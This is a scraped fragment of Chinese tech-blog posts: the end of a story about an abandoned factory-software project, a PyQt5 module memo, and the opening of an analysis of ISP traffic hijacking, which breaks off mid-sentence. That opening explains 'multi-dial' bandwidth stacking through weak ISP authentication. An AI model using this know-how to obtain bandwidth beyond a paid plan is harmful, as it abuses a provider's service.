28\u624d\u80fd\u7ed9\u5176\u4ed6\u5382\u4f7f\u7528\uff0c\u6240\u4ee5\u4e5f\u9700\u8981\u6ce8\u518c\u673a\u5236\uff01\uff01\r\n</p>\r\n<p>\r\n\tEXO ME\uff1f\u5f53\u521d\u53ef\u6ca1\u8fd9\u4e2a\u9700\u6c42\u554a\uff0c\u4e0d\u662f\u8bf4\u81ea\u5df1\u5de5\u5382\u7528\u7684\u5417\uff1f\u548b\u7a81\u7136\u6539\u6210\u8981\u5356\u7ed9\u5176\u4ed6\u5382\u4e86\uff1f\r\n</p>\r\n<p>\r\n\t\u6211\u5728\u73b0\u573a\u63d0\u51fa\u4e86\u6ce8\u518c\u673a\u5236\u9700\u8981\u8054\u7f51\uff0c\u4e0d\u7136\u5f88\u5bb9\u6613\u88ab\u7834\u89e3\uff0c\u7136\u800c\uff0cZ\u7684\u9886\u5bfc\u8bf4\u5de5\u5382\u6d41\u6c34\u7ebf\u4e0a\u7684\u7535\u8111\u6839\u672c\u5c31\u6ca1\u6709\u7f51\u7edc\uff0c\u7cfb\u7edf\u6709\u7684\u8fd8\u662fxp\u7cfb\u7edf....\u6211\u7684\u5929\u5450\uff0c\u6211\u5f53\u521d\u8fd8\u8bbe\u8ba1\u4e86\u6570\u636e\u5e93\u96c6\u4e2d\u7edf\u4e00\u7ba1\u7406\u7684\u65b9\u6848\uff0c\u8fd9\u7279\u4e48\u544a\u8bc9\u6211\u6ca1\u7f51\u7edc........Z\u7684\u9886\u5bfc\u63d0\u51fa\u4e86\u4e00\u4e2a\u795e\u5947\u7684\u65b9\u6848\uff0c\u5c31\u662f\u641e\u4e00\u4e2a\u5047\u7684\u6ce8\u518c\u7801\uff0c\u53cd\u6b63\u5199\u6b7b\u5728\u8f6f\u4ef6\u91cc\u9762\uff0c\u4e00\u4e2a\u6ce8\u518c\u7801\u6388\u674320\u53f0\u673a\u5668....\u8fd9\u662f\u54ea\u95e8\u5b50\u6388\u6743\u554a\uff0c\u53cd\u6b63\u6211\u662f\u4e00\u8138\u8499\u6bd4\u3002\r\n</p>\r\n<p>\r\n\t\u8fd8\u6709\u626b\u63cf\u7ed3\u679c\u6bcf\u5929\u8981\u81ea\u52a8\u751f\u6210\u6587\u4ef6\u81ea\u52a8\u5bfc\u51fa\u5230\u7535\u8111\u7684D\u76d8\u7b49\u7b49\u9644\u52a0\u7684\u9700\u6c42....\r\n</p>\r\n<p>\r\n\t\u7ed3\u675f\u4e86\u6f14\u793a\uff0c\u56de\u5230\u5bb6\u5404\u79cd\u7ea0\u7ed3\uff0c\u7136\u540e\u60f3\u529e\u6cd5\u5bfc\u51fa\u4e86exe\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7ed3\u679c\u5404\u79cd\u5e7a\u86fe\u5b50\uff0c\u8981\u4e48\u7f3a\u6587\u4ef6\uff0c\u8981\u4e48\u4e0d\u80fd\u572864\u4f4d\u4e0a\u6267\u884c\uff0c\u66f4\u53ef\u6c14\u7684\u662f\uff0c\u8fd9\u73a9\u610f\u6839\u672c\u4e0d\u652f\u6301xp\u7cfb\u7edf\u554a\uff0c\uff0c\uff0c\uff0cso\uff1f\uff1f\uff1f\r\n</p>\r\n<p>\r\n\t\u505a\u5230\u8fd9\u6211\u5df2\u7ecf\u6ca1\u6709\u7ee7\u7eed\u505a\u4e0b\u53bb\u7684\u6b32\u671b\u4e86\uff0c\u4e0d\u652f\u6301xp\u7b49\u4e8e\u767d\u642d\uff0c\u8fd8\u662f\u5fae\u8f6f\u81ea\u5df1\u5bb6\u7684C#\u9760\u8c31\u554a\uff0c\u7b97\u4e86\uff0c\u653e\u5f03\u8fd9\u4e2a\u9879\u76ee\u4e86\uff0c\r\n</p>\r\n<p>\r\n\t\u8ddf\u7532\u65b9\u89e3\u91ca\u4e86\u4e00\u756a\uff0c\u8868\u793a\u73af\u5883\u5404\u79cd\u914d\uff0c\u6ca1\u6709\u7f51\u7edc\u592a\u590d\u6742\u4e86\uff0c\u7a0b\u5e8f\u517c\u5bb9\u6027\u4e0d\u597d\u89e3\u51b3\u7b49\u7b49\u95ee\u9898\uff0cbalabala\u4e00\u5927\u5806\uff0c\u77ac\u95f4\u8f7b\u677e\u4e86....\r\n</p>\r\n<h2>\r\n\t\u6700\u540e\r\n</h2>\r\n<p>\r\n\t\u867d\u7136\u6211\u52a0\u73ed\u71ac\u591c\u4e86\u597d\u591a\u4e2a\u901a\u5bb5\uff0c\u6700\u7ec8\u6ca1\u6709\u5b8c\u6210\u8fd9\u4e2a\u9879\u76ee\uff0c\u4f46\u662f\u597d\u6b79\u4e5f\u662f\u505a\u6210\u4e86Linux\u4e0b\u9762\u80fd\u7528\u7684\u8f6f\u4ef6\uff0c\u5982\u679c\u4e0b\u6b21\u8ba9\u6211\u53bb\u5e2e\u5de5\u5382\u505a\u8f6f\u4ef6\uff0c\u6211\u4e00\u5b9a\u8ba9\u4ed6\u4eec\u628a\u90a3\u4e9b\u7834\u673a\u5668\u5168\u90e8\u6362\u6210\u6811\u8393\u6d3e\uff0c\u53c8\u7701\u94b1\u53c8\u597d\u505a\u8f6f\u4ef6\uff0c\u8fd8\u4e0d\u5360\u5730\u65b9\u3002\r\n</p>\r\n<p>\r\n\t\u6700\u8fd1\u542c\u8bf4Z\u81ea\u5df1\u4f7f\u7528java\u5728\u5f00\u53d1\u8fd9\u4e2a\u8f6f\u4ef6\uff0c\u8877\u5fc3\u7684\u5e0c\u671b\u4ed6\u80fd\u575a\u6301\u505a\u5b8c\u8fd9\u4e2a\u795e\u5947\u7684\u8f6f\u4ef6...\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23455 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["PyQt5 \u51e0\u4e2a\u5173\u952e\u6a21\u5757\u7684\u7528\u9014\u3010\u5907\u5fd8\u3011"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-09-12, 3:48 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h3>\r\n\tPyQt5\u7684\u7c7b\u88ab\u5212\u5206\u5728\u51e0\u4e2a\u6a21\u5757\u4e2d\uff0c\u4e0b\u9762\u5217\u51fa\u4e86\u8fd9\u4e9b\u6a21\u5757\uff1a\r\n</h3>\r\n<p>\r\n\tQtCore \u6a21\u5757\u5305\u542b\u4e86\u975eGUI\u7684\u529f\u80fd\u8bbe\u8ba1\u3002\u8fd9\u4e2a\u6a21\u5757\u88ab\u7528\u6765\u5b9e\u73b0\u65f6\u95f4\uff0c\u6587\u4ef6\u548c\u76ee\u5f55\uff0c\u4e0d\u540c\u6570\u636e\u7c7b\u578b\uff0c\u6d41\uff0cURL\uff0cmime\u7c7b\u578b\uff0c\u7ebf\u7a0b\u548c\u8fdb\u7a0b\u3002<br>\r\nQtGui \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u7a97\u53e3\u5316\u7684\u7cfb\u7edf\u7ed3\u6784\uff0c\u4e8b\u4ef6\u5904\u7406\uff0c2D\u7ed8\u56fe\uff0c\u57fa\u672c\u56fe\u5f62\uff0c\u5b57\u4f53\u548c\u6587\u672c\u3002<br>\r\nQtWidgets \u6a21\u5757\u5305\u542b\u7684\u7c7b\u63d0\u4f9b\u4e86\u4e00\u5957UI\u5143\u7d20\u6765\u521b\u5efa\u7ecf\u5178\u684c\u9762\u98ce\u683c\u7528\u6237\u754c\u9762\u3002<br>\r\nQtMultimedia \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u5904\u7406\u591a\u5a92\u4f53\u5185\u5bb9\u548c\u94fe\u63a5\u6444\u50cf\u5934\u548c\u65e0\u7ebf\u7535\u529f\u80fd\u7684API\u3002<br>\r\nQtBluetooth \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u626b\u63cf\u84dd\u7259\u8bbe\u5907\uff0c\u5e76\u4e14\u548c\u4ed6\u4eec\u5efa\u7acb\u8fde\u63a5\u4e92\u52a8\u3002<br>\r\nQtNetwork \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u7f51\u7edc\u7f16\u7a0b\uff0c\u8fd9\u4e9b\u7c7b\u4f7fTCP/IP\u548cUDP\u5ba2\u6237\u7aef/\u670d\u52a1\u7aef\u7f16\u7a0b\u66f4\u52a0\u5bb9\u6613\u548c\u8f7b\u4fbf\u3002<br>\r\nQtPositioning \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u591a\u79cd\u53ef\u83b7\u5f97\u8d44\u6e90\u7684\u4f4d\u7f6e\u9650\u5b9a\uff0c\u5305\u542b\u536b\u661f\u5b9a\u4f4d\uff0cWi-Fi\uff0c\u6216\u4e00\u4e2a\u6587\u672c\u6587\u4ef6\u3002<br>\r\nEnginio \u6a21\u5757\u7528\u4e8e\u89e3\u51b3\u5ba2\u6237\u7aef\u8bbf\u95eeQt\u4e91\u670d\u52a1\u6258\u7ba1\u3002 <br>\r\nQtWebSockets \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u89e3\u51b3WebSocket\u901a\u4fe1\u534f\u8bae\u3002 <br>\r\nQtWebKit \u5305\u542b\u7684\u5173\u4e8e\u6d4f\u89c8\u5668\u7684\u7c7b\u7528\u4e8e\u89e3\u51b3\u57fa\u4e8eWebKit2\u7684\u652f\u6301\u5e93\u3002 <br>\r\nQtWebKitWidgets \u6a21\u5757\u5305\u542b\u7684\u5173\u4e8eWebKit1\u7684\u7c7b\u57fa\u672c\u89e3\u51b3\u6d4f\u89c8\u5668\u4f7f\u7528\u57fa\u4e8eQtWidgets\u5e94\u7528\u95ee\u9898\u3002 <br>\r\nQtXml \u6a21\u5757\u5305\u542b\u7684\u7c7b\u7528\u4e8e\u89e3\u6790XML\u6587\u4ef6\u3002\u8fd9\u4e2a\u6a21\u5757\u63d0\u4f9bSAX\u548cDOM API\u89e3\u51b3\u65b9\u6cd5\u3002 <br>\r\nQtSvg \u6a21\u5757\u63d0\u4f9b\u7c7b\u7528\u4e8e\u663e\u793aSVG\u6587\u4ef6\u5185\u5bb9\u3002Scalable Vector Graphics (SVG) \u662f\u4e00\u79cd\u8bed\u8a00\uff0c\u7528XML\u6765\u63cf\u8ff0\u4e8c\u7ef4\u56fe\u5f62\u548c\u56fe\u5f62\u5e94\u7528\u7a0b\u5e8f\u3002 <br>\r\nQtSql\u6a21\u5757\u63d0\u4f9b\u7c7b\u9a71\u52a8\u6570\u636e\u5e93\u5de5\u4f5c\u3002 <br>\r\nQtTest \u6a21\u5757\u5305\u542b\u4e86\u65b9\u6cd5\u63d0\u4f9bPyQt5\u5e94\u7528\u7684\u5355\u5143\u6d4b\u8bd5\u3002\r\n</p>\r\n<p>\r\n\t--------------------------------------------------------------------------------------------\r\n</p>\r\n<p>\r\n\t\u7528\u4f5c\u5907\u5fd8\uff0c\u8f6c\u8f7d\u81ea http://www.cnblogs.com/archisama/p/5442071.html\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23454 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5206\u6790\u4e00\u4e2a\u7535\u4fe1\u52ab\u6301\u8df3\u8f6c\u4e0b\u8f7d\u60c5\u8272APP\u7684\u6848\u4f8b"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-09-04, 1:12 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u901a\u4fe1\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u7535\u4fe1\u8fd0\u8425\u5546\u52ab\u6301\u5bb6\u5ead\u5bbd\u5e26\u7684\u505a\u6cd5\u76f8\u4fe1\u5f88\u591a\u670b\u53cb\u90fd\u9047\u5230\u8fc7\uff0c\u5bf9\u4e8e\u6765\u901b\u6211\u535a\u5ba2\u7684\u5927\u591a\u6570\u670b\u53cb\u5f00\u59cb\u5e94\u8be5\u662f\u975e\u5e38\u719f\u6089\u7535\u4fe1\u52ab\u6301\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u524d\u51e0\u5e74\u7531\u4e8e\u5883\u5916\u83e0\u83dc\u7f51\u7ad9\u548c\u60c5\u8272\u7f51\u7ad9\u7684\u5174\u8d77\u50ac\u751f\u4e86\u56fd\u5185\u4e00\u6ce2\u52ab\u6301\u72c2\u6f6e\uff0c\u7535\u4fe1\u8fd0\u8425\u5546\u4f5c\u4e3a\u5bbd\u5e26\u63a7\u5236\u8005\uff0c\u624b\u63e1\u7740\u5de8\u5927\u7684\u6d41\u91cf\uff0c\u800c\u83e0\u83dc\u7ad9\u7ed9\u51fa\u7684\u4e30\u539a\u5229\u6da6\u66f4\u662f\u8ba9\u4e00\u4e9b\u4eba\u5229\u7528\u804c\u52a1\u4e4b\u4fbf\u725f\u53d6\u66b4\u5229\uff0c\u7531\u4e8e\u5229\u76ca\u7684\u9a71\u52a8\uff0c\u8fd0\u8425\u5546\u52ab\u6301\u4ece\u6700\u5f00\u59cb\u7684\u52ab\u6301\u975e\u6cd5\u7f51\u7ad9\u8df3\u8f6c\u5230\u4efb\u610f\u7f51\u7ad9\u7be1\u6539\u4ee3\u7801\uff0c\u6dfb\u52a0\u5f39\u7a97\u5c0f\u5e7f\u544a\uff0c\u4ee5\u81f3\u4e8e\u5f71\u54cd\u5230\u4e86\u6b63\u5e38\u7528\u6237\u7684\u4e0a\u7f51\u4f7f\u7528\uff0c\u624d\u88ab\u56fd\u5bb6\u91cd\u89c6\uff0c\u51b3\u5b9a\u5f7b\u67e5\u3002\r\n</p>\r\n<p>\r\n\t\u7ecf\u8fc7\u51e0\u5e74\u7684\u8c03\u67e5\uff0c\u4ee5\u53ca\u56fd\u5bb6\u5bf9\u4e8e\u7f51\u7edc\u5b89\u5168\u7684\u8d8a\u53d1\u91cd\u89c6\uff0c\u7f51\u6c11\u7684\u5b89\u5168\u610f\u8bc6\u63d0\u9ad8\uff0c\u63ea\u51fa\u4e86\u4e00\u5927\u6279\u7535\u4fe1\u8fd0\u8425\u5546\u91cc\u9762\u7684\u201c\u5185\u9b3c\u201d\uff0c\u8fd9\u624d\u8ba9\u7535\u4fe1\u8fd0\u8425\u5546\u7684\u5927\u89c4\u6a21\u52ab\u6301\u6536\u655b\u4e86\u8bb8\u591a\u3002\r\n</p>\r\n<p>\r\n\t\u4f46\u662f\u597d\u666f\u4e0d\u957f\uff0c\u8fd1\u4e24\u5e74\u7684\u7535\u4fe1\u8fd0\u8425\u5546\u52ab\u6301\u53c8\u5f00\u59cb\u6d3b\u8dc3\u4e86\u8d77\u6765\uff0c\u800c\u76d1\u7ba1\u8c03\u67e5\u7684\u96be\u5ea6\u5219\u53d8\u5f97\u66f4\u52a0\u56f0\u96be\uff0c\u9274\u4e8e\u6211\u5bf9\u884c\u4e1a\u7684\u4e86\u89e3\uff0c\u6211\u89c9\u5f97\u8fd8\u662f\u6709\u5fc5\u8981\u5148\u626f\u626f\u8d8b\u52bf\u53d8\u5316\u7684\u539f\u56e0\uff0c\u597d\u8ba9\u4e00\u4e9b\u6ca1\u63a5\u89e6\u8fc7\u8fd9\u6761\u4ea7\u4e1a\u94fe\u7684\u670b\u53cb\u6709\u4e2a\u5927\u6982\u7684\u4e86\u89e3\u3002\r\n</p>\r\n<h2>\r\n\t\u5386\u53f2<br>\r\n</h2>\r\n<p>\r\n\t\u5927\u5bb6\u90fd\u77e5\u9053\uff0c\u6211\u4eec\u4e0a\u7f51\u662f\u7531\u8def\u7531\u5668\u62e8\u53f7\uff0c\u7531\u7535\u4fe1\u8fd0\u8425\u5546\u7684pppoe\u670d\u52a1\u5668\u5206\u53d1\u4e00\u4e2a\u5916\u7f51IP\u5730\u5740\u7ed9\u8def\u7531\u5668\uff0c\u8fd9\u662f\u6211\u4eec\u4e4b\u524d\u6700\u5e38\u89c1\u7684\u666e\u901a\u5bb6\u5ead\u4e0a\u7f51\u6a21\u5f0f\uff0c\u90a3\u4e2a\u5e74\u4ee3\u7f51\u6c11\u5e76\u4e0d\u662f\u592a\u591a\uff0c\u7535\u4fe1\u7684PPPOE\u670d\u52a1\u5668\u8fd8\u662f\u80fd\u591f\u6ee1\u8db3\u6d77\u91cf\u7528\u6237\u7684\u62e8\u53f7\u9700\u6c42\u3002\r\n</p>\r\n<p>\r\n\t\u968f\u7740\u79d1\u6280\u7684\u53d1\u5c55\uff0c\u793e\u4f1a\u7684\u8fdb\u6b65\uff0c\u5bb6\u5ead\u5e26\u5bbd\u53d8\u5f97\u8d8a\u6765\u8d8a\u5927\uff0c\u8d44\u8d39\u53d8\u5f97\u8d8a\u6765\u8d8a\u4fbf\u5b9c\uff0c\u8def\u7531\u8bbe\u5907\u4e5f\u53d8\u5f97\u66f4\u52a0\u7684\u667a\u80fd\uff0c\u6027\u80fd\u4e5f\u66f4\u5f3a\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u7535\u4fe1\u8fd0\u8425\u5546\u539f\u6765\u7684\u670d\u52a1\u5668\u81ea\u7136\u9700\u8981\u66f4\u65b0\u6362\u4ee3\uff0c\u4e3a\u4e86\u6ee1\u8db3\u533a\u57df\u7528\u6237\u7684\u5bbd\u5e26\u9700\u6c42\uff0c\u7535\u4fe1\u8fd0\u8425\u5546\u5c06\u4e00\u4e2a\u57ce\u5e02\u5212\u5206\u6210\u5f88\u591a\u4e2a\u7247\u533a\uff0c\u6bcf\u4e2a\u7247\u533a\u6307\u5b9a\u4e00\u4e2a\u533a\u57df\u7ecf\u7406\uff0c\u6211\u4eec\u529e\u7406\u5bbd\u5e26\u7684\u65f6\u5019\u5de5\u5355\u63d0\u4ea4\u4e0a\u53bb\u4e00\u822c\u90fd\u662f\u5206\u914d\u7ed9\u533a\u57df\u7ecf\u7406\u5b89\u6392\u5b89\u88c5\uff0c\u5bf9\u4e8e\u6d77\u91cf\u7684\u7528\u6237\u5b89\u88c5\u9700\u6c42\uff0c\u4e0d\u53ef\u80fd\u628a\u6240\u6709\u7684\u5e26\u5bbd\u5206\u914d\u90fd\u4ea4\u7ed9\u8fd0\u8425\u5546\u603b\u90e8\u53bb\u5904\u7406\uff0c\u90a3\u6837\u6548\u7387\u5c31\u592a\u4f4e\u4e86\uff0c\u529e\u7406\u7684\u65f6\u95f4\u957f\uff0c\u5b8c\u5168\u4e0d\u7b26\u5408\u6211\u56fd\u201c\u9a6c\u4e0a\u5c31\u529e\uff0c\u771f\u6293\u5b9e\u5e72\u201d\u7684\u826f\u597d\u4f5c\u98ce\u3002\r\n</p>\r\n<p>\r\n\t\u6240\u4ee5\u7535\u4fe1\u5c31\u628a\u5e26\u5bbd\u7684\u5206\u914d\u6743\u4ea4\u7ed9\u4e86\u533a\u57df\u7ecf\u7406\uff0c\u7531\u533a\u57df\u7ecf\u7406\u53bb\u534f\u8c03\u7528\u6237\u7684\u9700\u6c42\uff0c\u8fd9\u6837\u533a\u57df\u7ecf\u7406\u5176\u5b9e\u5c31\u76f8\u5f53\u4e8e\u4ee3\u7406\u5546\u6216\u8005\u627f\u5305\u5546\uff0c\u603b\u90e8\u8d1f\u8d23\u8bb0\u5f55\u5de5\u5355\uff0c\u7ed9\u533a\u57df\u7ecf\u7406\u8ba1\u7b97\u7ee9\u6548\u53d1\u653e\u85aa\u6c34\uff0c\u5177\u4f53\u7684\u5b9e\u65bd\u8fd8\u662f\u533a\u57df\u7ecf\u7406\u6765\u505a\u3002\u73b0\u5728\u8fd9\u4e48\u770b\u6765\u5c31\u5f88\u6e05\u695a\u4e86\uff0c\u533a\u57df\u7ecf\u7406\u63a7\u5236\u7740\u7247\u533a\u7684\u7f51\u7edc\u3002\r\n</p>\r\n<p>\r\n\t\u8bf4\u5230\u8fd9\u5462\uff0c\u535a\u4e3b\u5c31\u60f3\u63d2\u4e00\u6bb5\u989d\u5916\u7684\u77e5\u8bc6\uff0c\u4e5f\u7ed9\u4e0b\u6587\u505a\u4e2a\u94fa\u57ab\u3002\u76f8\u4fe1\u4e0d\u5c11\u670b\u53cb\u4e86\u89e3\u8fc7\u201c\u5bbd\u5e26\u591a\u62e8\u201d\u6280\u672f\uff0c\u4e5f\u6709\u4e9b\u670b\u53cb\u5b9e\u9645\u73a9\u8fc7\u591a\u62e8\uff0c\u8fd9\u4e2a\u6280\u672f\u4e0d\u662f\u4ec0\u4e48\u9ad8\u7aef\u6280\u672f\uff0c\u539f\u7406\u8bf4\u8d77\u6765\u771f\u7684\u662f\u975e\u5e38\u7684\u7b80\u5355\uff0c\u5f53\u7136\u4e86\uff0c\u6709\u7684\u5730\u533a\u53ef\u4ee5\u6709\u7684\u5730\u533a\u4e0d\u884c\uff0c\u8fd9\u5176\u4e2d\u7684\u539f\u56e0\u4e0b\u9762\u4f1a\u6162\u6162\u8bf4\u3002\r\n</p>\r\n<p>\r\n\t\u6240\u8c13\u7684\u591a\u62e8\uff0c\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u5bbd\u5e26\u8d26\u53f7\u540c\u65f6\u62e8\u53f7\uff0c\u8fbe\u5230\u5e26\u5bbd\u53e0\u52a0\u7684\u6548\u679c\uff0c\u8fd9\u91cc\u8bf4\u7684\u591a\u62e8\u5206\u4e3a\u5355\u53f7\u591a\u62e8\u548c\u591a\u53f7\u591a\u62e8\uff0c\u4e0d\u7ba1\u662f\u54ea\u79cd\u591a\u62e8\u65b9\u5f0f\uff0c\u6700\u7ec8\u539f\u7406\u8fd8\u662f\u56e0\u4e3a\u8ba4\u8bc1\u670d\u52a1\u5668\u7684\u9274\u6743\u65b9\u5f0f\u51fa\u73b0\u4e86\u95ee\u9898\uff0c\u4e0b\u9762\u5c31\u8be6\u7ec6\u8bf4\u8bf4\u5230\u5e95\u662f\u4ec0\u4e48\u95ee\u9898\u3002\r\n</p>\r\n<h3>\r\n\t\u4e3e\u4e2a\u4f8b\u5b50\uff1a\r\n</h3>\r\n<p>\r\n\t\u6211\u6709\u4e2a\u5bbd\u5e26\u8d26\u53f7abc\u5bc6\u7801\u662f123456\uff0c\u5bbd\u5e26\u5957\u9910\u662f10M\u62e8\u53f7\uff0c\u73b0\u5728\u6211\u53ea\u8981\u4f7f\u7528\u591a\u62e8\u540c\u65f6\u62e8\u53f710\u6b21\uff0c\u5e26\u5bbd\u5c31\u52a0\u5230\u4e86100M\uff0c\u90a3\u4e48\u6709\u540c\u5b66\u5c31\u4f1a\u95ee\u4e86\uff0c\u662f\u4e0d\u662f\u53ef\u4ee5\u65e0\u4e0a\u9650\u7684\u62e8\uff0c\u5e26\u5bbd\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u52a0\u5230\u51e0\u5343M\uff1f\r\n</p>\r\n<p>\r\n\t\u5176\u5b9e\u4e0d\u662f\u7684\uff0c\u6700\u9ad8\u80fd\u62e8\u5230\u591a\u5c11\u53d6\u51b3\u4e8e\u8fd0\u8425\u5546\u7ed9\u4f60\u62c9\u7684\u8fd9\u6761\u7ebf\u7aef\u53e3\u5e26\u5bbd\u6700\u5927\u662f\u591a\u5927\u7684\uff0c\u5982\u679c\u8bf4\u8fd9\u6761\u7ebf\u7684\u7aef\u53e3\u7ed9\u7684\u6700\u9ad8\u5e26\u5bbd\u662f100M\uff0c\u90a3\u4e48\u591a\u62e8\u5c31\u53ef\u4ee5\u8fbe\u5230100M\u3002\u90a3\u4e48\u95ee\u9898\u53c8\u6765\u4e86\uff0c\u6211\u660e\u660e\u53bb\u8425\u4e1a\u5385\u5f00\u7684\u662f10M\u5bbd\u5e26\uff0c\u600e\u4e48\u7ed9\u6211\u7684\u7aef\u53e3\u662f100M\u7684\uff0c\u662f\u533a\u57df\u7ecf\u7406\u5199\u9519\u4e86\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u4e0d\u662f\u7684\uff0c\u4e4b\u6240\u4ee5\u4f1a\u51fa\u73b0\u8fd9\u4e2a\u95ee\u9898\uff0c\u662f\u56e0\u4e3a\u8fd0\u8425\u5546\u7684\u57fa\u7840\u9274\u6743\u670d\u52a1\u5668\u662f\u603b\u90e8\u7edf\u4e00\u91c7\u8d2d\u5b89\u88c5\u90e8\u7f72\u7684\uff0c\u7aef\u53e3\u7684\u5e26\u5bbd\u5927\u5c0f\u53d6\u51b3\u4e8e\u8bbe\u5907\u7684\u6027\u80fd\u80fd\u8fbe\u5230\u591a\u5c11\uff0c\u6bd4\u5982\u9274\u6743\u670d\u52a1\u5668\u8fde\u5230\u6211\u5bb6\u91cc\u7684\u8fd9\u4e2a\u7aef\u53e3\u662f\u5343\u5146\u7f51\u53e3\uff08\u4e2d\u95f4\u53ef\u80fd\u4f1a\u6709N\u4e2a\u4ea4\u6362\u673a\uff0c\u5ffd\u7565\uff09\uff0c\u7406\u8bba\u4e0a\u6211\u4e0a\u7f51\u7684\u6700\u5927\u5e26\u5bbd\u80fd\u8fbe\u52301000M\uff0c\u6240\u4ee5\u8bf4\u6700\u5927\u5e26\u5bbd\u53d6\u51b3\u4e8e\u673a\u5668\u8bbe\u5907\uff0c\u800c\u4e0d\u662f\u5728\u8425\u4e1a\u5385\u767b\u8bb0\u7684\u90a3\u4e2a\u5e26\u5bbd\u3002\r\n</p>\r\n<p>\r\n\t\u95ee\u9898\u53c8\u6765\u4e86\uff0c\u65e2\u7136\u5e26\u5bbd\u4e0d\u53d7\u767b\u8bb0\u7684\u8d26\u53f7\u9650\u5236\uff0c\u4e3a\u4ec0\u4e48\u62e8\u53f7\u4e0a\u7f51\u7684\u65f6\u5019\u6d4b\u901f\u5c31\u662f\u5f53\u65f6\u767b\u8bb0\u7684\u7f51\u901f\u5462\uff1f\u8fd9\u4e2a\u4e0d\u96be\u56de\u7b54\uff0c\u4f60\u5728\u8425\u4e1a\u5385\u767b\u8bb0\u5b8c\uff0c\u6570\u636e\u5c31\u88ab\u5199\u5165\u5230\u4e86\u6570\u636e\u5e93\uff0c\u5f53\u4f60\u8fdb\u884c\u62e8\u53f7\u64cd\u4f5c\u7684\u65f6\u5019\uff0c\u9274\u6743\u670d\u52a1\u5668\u8bfb\u53d6\u5230\u4f60\u7684\u5e26\u5bbd\u8bbe\u7f6e\uff0c\u7ed9\u8bbe\u5907\u6dfb\u52a0\u4e00\u6761\u9650\u901f\u6307\u4ee4\uff0c\u8fd9\u6837\u4f60\u5c31\u80fd\u7528\u5230\u767b\u8bb0\u7684\u7f51\u901f\u4e86\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u79cd\u8f6f\u9650\u5236\u53ea\u662f\u5bf9\u5e94\u5230\u5bbd\u5e26\u8d26\u53f7\uff0c\u786c\u4ef6\u5c42\u9762\u5176\u5b9e\u5bbd\u5e26\u7a7a\u4f59\u8fd8\u662f\u975e\u5e38\u5927\u7684\uff0c\u5c31\u76f8\u5f53\u4e8e\u